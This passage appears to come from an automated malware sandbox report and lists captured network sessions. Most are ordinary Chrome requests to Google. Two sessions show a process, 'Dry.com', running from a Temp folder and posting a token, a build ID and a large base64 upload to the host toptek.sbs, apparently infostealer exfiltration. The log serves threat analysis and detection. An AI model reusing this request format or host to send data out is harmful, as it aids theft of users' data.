Data Ascii: s injury report","monopoly go greeting journey rewards","hyundai palisade hybrid","eddie aikau big wave invitational","virgin river season 6 episode 2"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIk
2024-12-21 09:15:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49890	172.217.19.228	443	7384	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:55 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-21 09:15:56 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 21 Dec 2024 09:15:56 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 09:15:56 UTC	372	IN	Data Raw: 31 33 36 31 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1361)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-21 09:15:56 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-21 09:15:56 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-21 09:15:56 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-21 09:15:56 UTC	427	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-21 09:15:56 UTC	950	IN	Data Raw: 33 61 66 0d 0a 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 5c 5c 39 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 69 6d 61 67 65 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 76 67 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 Data Ascii: 3af\" width\u003d\"24\" style\u003d\"border:none;display:none \\9\"\u003e\u003c\/image\u003e\u003c\/svg\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_a
2024-12-21 09:15:56 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 31 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f Data Ascii: 8000_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700291,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_
2024-12-21 09:15:56 UTC	1390	IN	Data Raw: 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 46 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 48 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 49 64 5c 75 30 Data Ascii: h;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Gd\u003dfunction(a){return new _.Fd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Hd\u003dglobalThis.trustedTypes;_.Id\u0
2024-12-21 09:15:56 UTC	1390	IN	Data Raw: 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 54 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 57 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 58 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 Data Ascii: instanceof _.Td)return a.i;throw Error(\"F\");};_.Xd\u003dfunction(a){if(Wd.test(a))return a};_.Yd\u003dfunction(a){if(a instanceof _.Id)if(a instanceof _.Id)a\u003da.i;else throw Error(\"F\");else a\u003d_.Xd(a);return a};_.Zd\u003dfunction(a,b\u003ddocu
2024-12-21 09:15:56 UTC	1390	IN	Data Raw: 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 79 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 Data Ascii: 003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ke\u003dfunction(a,b){_.yb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49891	172.217.19.228	443	7384	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:55 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-21 09:15:56 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 21 Dec 2024 09:15:56 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 09:15:56 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-21 09:15:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49906	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:59 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----VKXB16P8YMYMYM7YUKX4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:15:59 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 56 4b 58 42 31 36 50 38 59 4d 59 4d 59 4d 37 59 55 4b 58 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 56 4b 58 42 31 36 50 38 59 4d 59 4d 59 4d 37 59 55 4b 58 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 56 4b 58 42 31 36 50 38 59 4d 59 4d 59 4d 37 59 55 4b 58 34 0d 0a 43 6f 6e 74 Data Ascii: ------VKXB16P8YMYMYM7YUKX4Content-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------VKXB16P8YMYMYM7YUKX4Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------VKXB16P8YMYMYM7YUKX4Cont
2024-12-21 09:16:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:15:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:16:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49915	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:00 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LNGLXT00ZU3E3EK6FKNG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 4e 47 4c 58 54 30 30 5a 55 33 45 33 45 4b 36 46 4b 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4c 4e 47 4c 58 54 30 30 5a 55 33 45 33 45 4b 36 46 4b 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4c 4e 47 4c 58 54 30 30 5a 55 33 45 33 45 4b 36 46 4b 4e 47 0d 0a 43 6f 6e 74 Data Ascii: ------LNGLXT00ZU3E3EK6FKNGContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------LNGLXT00ZU3E3EK6FKNGContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------LNGLXT00ZU3E3EK6FKNGCont
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 59 69 43 78 45 41 41 51 59 42 44 51 51 49 41 77 67 49 44 51 67 49 43 41 67 4a 43 41 41 76 5a 58 64 45 74 42 69 33 43 71 41 41 41 41 59 34 6f 47 49 66 43 68 45 41 41 51 59 42 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 77 41 76 5a 58 64 45 74 42 69 33 43 59 41 41 41 41 59 66 43 52 45 41 41 51 59 42 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 67 41 76 5a 58 64 45 74 42 69 33 43 49 41 41 41 41 59 65 43 42 45 41 41 51 59 49 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 51 41 76 5a 58 64 45 74 42 69 33 45 41 41 41 42 69 49 48 45 51 41 42 42 67 45 4e 42 41 67 44 43 41 67 4e 43 41 67 49 43 41 6b 45 41 43 39 6c 5a 51 58 79 48 55 51 47 6f 41 41 41 42 67 50 73 35 42 38 47 45 51 41 42 42 67 45 4e 42 41 67 49 43 41 67 4e 43 41 67 49 43 41 6b 44 Data Ascii: AYiCxEAAQYBDQQIAwgIDQgICAgJCAAvZXdEtBi3CqAAAAY4oGIfChEAAQYBDQQICAgIDQgICAgJBwAvZXdEtBi3CYAAAAYfCREAAQYBDQQICAgIDQgICAgJBgAvZXdEtBi3CIAAAAYeCBEAAQYIDQQICAgIDQgICAgJBQAvZXdEtBi3EAAABiIHEQABBgENBAgDCAgNCAgICAkEAC9lZQXyHUQGoAAABgPs5B8GEQABBgENBAgICAgNCAgICAkD
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
